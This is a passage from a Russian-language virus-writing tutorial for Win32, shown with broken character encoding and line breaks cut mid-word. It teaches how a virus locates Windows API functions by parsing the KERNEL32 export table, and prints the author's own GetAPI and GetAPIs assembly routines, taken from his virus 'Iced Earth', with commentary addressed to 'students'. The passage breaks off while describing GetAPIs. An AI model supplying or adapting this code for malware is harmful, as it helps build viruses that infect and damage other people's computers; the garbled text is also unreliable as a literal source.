ординал функции. ╤ его помощь наша жизнь изрядно упрощается. ╠ы просто
должны умножить ординал на 4 (так как массив адресов формируется из
двойных слов, а размер двойного слова равен 4) и добавляем его к смещени
начала адреса таблицы адресов, который мы получили ране. ╒ехе, теперь у
нас есть RVA адрес API-функции. ╥еперь мы должны нормализировать его,
добавить смещение ядра и все! ╠ы получили его!!! ─авайте посмотрим на
просту математическу формулу:
<P>└дрес API-функции: (╬рдинал функции*4)+VA таблицы адресов+база
KERNEL32
<P><IMG
src="╧утеводитель по написани вирусов под Win32 4_ Ring-3, программир
ование на уровне пользователя.files/vgw04_p02.gif">
<P>[...] ┬ этих таблицах больше элементов, но в качестве примера э
того
вполне достаточно...
<P>▀ наде сь, что вы поняли мои объяснения. ▀ пыта сь объяснить та
к
просто, как это возможно, если вы не поняли их, то не читайте дальше, а
перечитайте снова. ┴удьте терпеливы. ▀ уверен, что вы все поймете. ╒мм,
может вам нужно сйчас немного кода, чтобы увидеть это в действии. ┬от мои
процедуры, которые я использовал, например, в моем вирусе Iced Earth.
<P><CODE><PRE>;---[ CUT HERE ]--------------------
-----------------------------------------
;
; ╧роцедуры GetAPI и GetAPIs
; ---------------------------
;
; ▌то мои процедуры, необходимые для нахождения всех требуемых функций API...
; ╬ни поделены на 2 части. ╧роцедура GetAPI получает только ту функци ,
; котору мы ей указываем, а GetAPIs ищет все необходимые вирусу функции.
GetAPI proc
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╦адно, поехали. ╧араметры, которые требу тся функции и возвращаемые ;
; значения следу щие: ;
; ;
; ═└ ┬╒╬─┼ . ESI : ╙казатель на имя функции (чувствительна к регистру) ;
; ═└ ┬█╒╬─┼ . EAX : └дрес функции API
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
mov edx,esi ; ╤охраняем указатель на им
я
@_1: cmp byte ptr [esi],0 ; ╩онец строки?
jz @_2 ; ─а, все в порядке.
inc esi ; ═ет, продолжаем поиск
jmp @_1
@_2: inc esi ; хех, не забудьте об этом
sub esi,edx ; ESI = размер имени функци
и
mov ecx,esi ; ECX = ESI :)
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╥ак-так-так, мои дорогие ученики. ▌то очень просто для понимания. ╙ нас ;
; есть указатель на начало имени функции API. ─авайте представим, что мы ;
; ищем FindFirstFileA: ;
; ;
; FFFA db "FindFirstFileA",0
;
; L- указатель здесь ;
; ;
; ╚ нам нужно сохранить этот указатель, чтобы узнать имя функции API, ;
; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,;
; например EDX, который мы не будем использовать, а затем повышаем значение;
; указателя в ESI, пока [ESI] не станет равным 0.
;
; ;
; FFFA db "FindFirstFileA",0
;
; L- ╙казатель теперь здеcь ;
; ;
; ╥еперь, вычитая старый указатель от нового указателя, мы получаем размер ;
; имени API-функции, который требуется поисковому движку. ╟атем я сохраня ;
; значение в ECX, другом регистре, который не будет использоваться для ;
; чего-либо еще. ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; ╙станавливаем счетчик в &
#48;
mov esi,[ebp+kernel] ; ╧олучаем смещение
; PE-заголовка KERNEL32
add esi,3Ch
lodsw ; в AX
add eax,[ebp+kernel] ; ═ормализуем его
mov esi,[eax+78h] ; ╧олучаем RVA таблицы
; экспортов
add esi,[ebp+kernel] ; ╙казатель на RVA таблицы
; адресов
add esi,1Ch
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╦адно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы
;
; избежать возможных ошибок. ┼сли вы помните, для чего служит смещение 3Ch ;
; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. ╠ы ;
; запрашиваем начало смещение начала PE-заголовка KERNEL32. ╥ак как это ;
; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. ╥еперь;
; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ;
; избегаем нежеланных данных структуры и напряму получаем RVA таблицы ;
; адресов. ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
lodsd ; EAX = RVA таблицы адресов
add eax,[ebp+kernel] ; ═ормализуем
mov dword ptr [ebp+AddressTableVA],eax ; ╤охраняем его в форме
VA
lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],ea&
#120;
lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form
pop esi ; ESI = Name Ptrz Table VA
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ┼сли вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ;
; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ;
; который указывает ESI, в приемник (в данном случае EAX). ╥ак как это был ;
; RVA, мы нормализуем его. ;
; ;
; ─авайте посмотрим, что говорит ╠этт ╧итрек о первом поле: ;
; ;
; "▌то поле является RVA и указывает на массив адресов функций, каждый
;
; элемент которого является RVA одной из экспортируемых функций в данном ;
; модуле."
;
; ;
; ╚ наконец, мы сохраняем его в соответству щей переменной. ─алее мы ;
; должны узнать адрес таблицы указателей на имена. ╠этт ╧итрек объясняет ;
; это следу щим образом: ;
; ;
; "▌то поле - RVA и указывает на массив указателей на строки. ╤троки
;
; явля тся именами экспортируемых данным модулем функций".
;
; ;
; ═о я не сохраня его в переменной, а помеща в стек, так как использу ;
; его очень скоро. ╬к, наконец мы переходим к таблице ординалов, вот что ;
; говорит об этом ╠этт ╧итрек: ;
; ;
; "▌то поле - RVA и оно указывает на массив WORDов. WORD'ы явля тся
;
; ординалами всех экспортируемых функций в данном модуле".
;
; ;
; ╬к, это то, что мы сделали. ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 10
8;% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of arr
ay
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╒ех, это не в моем стиле помещать слишком много кода без комментариев, ;
; как я поступил только что, но этот блок кода нельзя разделить без ущерба ;
; для его объяснения. ╤начала мы помещаем ESI в стек (который будет ;
; изменен инструкцией CMPSB) для последу щего восстановления. ╧осле этого ;
; мы получаем DWORD, на который указывает ESI (таблица указателей на ;
; имена) в приемник (EAX). ┬се это выполняется с помощь инструкции LODSD. ;
; ╠ы нормализуем ее, добавляя адрес базы ядра. ╒орошо, теперь у нас в EAX ;
; находится указатель на имя одной из функций API, но мы еще не знаем, что ;
; это за функция. ═апример EAX может указывать на что-нибудь вроде ;
; "CreateProcessA" и это функция для нашего вируса неинтересна... ╦адно
, ;
; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ;
; нас есть CMPSB. ╧оэтому мы подготавливаем ее параметры: в ESI мы ;
; помещаем указатель на начало сравниваемого имени функции, а в EDI - ;
; нужно нам имя. ┬ ECX мы помещаем ее размер, а затем выполняем побайтовое ;
; сравнение. ┼сли обе строки совпада т друг с другом, устанавливается ;
; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ;
; ┬ противном случае мы восстанавливаем ESI и добавляем к нему размер ;
; DWORD, чтобы получить следу щее значение в таблице указателей на имена. ;
; ╠ы повышаем значение счетчика (╬╫┼═▄ ┬└╞═╬) и продолжаем поиск. ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counte
r
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = p
tr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done
.
ret
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╧ффф, еще один огромный блок кода и, похоже, не очень понятный, так ;
; ведь? ═е беспокойтесь, я прокомментиру его ;). ;
; Pop служит для очищения стека. ╟атем мы двигаем в нижн часть EAX ;
; значение счетчика (так как это WORD) и обнуляет верхн вышеупомянутого ;
; регистра. ╠ы умножаем его на два, так как массив, в котором мы будем ;
; проводить поиск состоит из WORD'ов. ╥еперь мы добавляем к нему указатель
;
; на начало массива, где мы хотим искать. ╧оэтому мы помещаем EAX в ESI, ;
; чтобы использовать этот указатель для получения значения, на которое он ;
; указывает, с помощь просто LODSW. ╒ех, теперь у нас есть ординал, но то,;
; что мы хотим получить - это точка входа в код функции API, поэтому мы ;
; умножаем ординал (который содержит позици точки входа желаемой функции) ;
; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ;
; RVA таблицы адресов, поэтому мы производим нормализаци , а теперь в EAX ;
; у нас находится указатель на значение точки входа функции API в таблице ;
; адреосв. ╠ы помещаем EAX в ESO и получаем значение, на которое указывает ;
; EAX. ╥аким образом в этом регистре находится RVA точки входа требуемой ;
; API-функции. ╒ех, сейчас мы должны нормализовать этот адрес относительно ;
; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ;
; реальный адрес функции! ;) ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
GetAPI endp
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
GetAPIs proc
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╬к, это код для получения всех API-функций. ╙ данной функции следу щие ;
; параметры: ;
; ;
; INPUT . ESI : ╙казатель на имя первой желаемой API-функции в формате ;
; ASCIIz ;
; . EDI : ╙казатель на переменну , которая содержит перву желаему ;
; API-функци ;
; OUTPUT . ═ичего ;
; ;
; ─ля получения всех этих значений я буду использовать следу щу структуру:;
; ;
; ESI указывает на --. db "FindFirstFileA",0
;
; db "FindNextFileA",0
;
; db "CloseHandle",0
;
; [...] ;
; db 0BBh ; ╬тмечает конец массива
;
; ;
; EDI указывает на --. dd 00000000h ; ┴
удущий адрес FFFA ;
; dd 00000000h ; ┴
удущий адрес FNFA ;
; dd 00000000h ; ┴
удущий адрес CH ;
; [...] ;
; ;
; ▀ наде сь, что вы достаточно умны и поняли, о чем я говор . ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖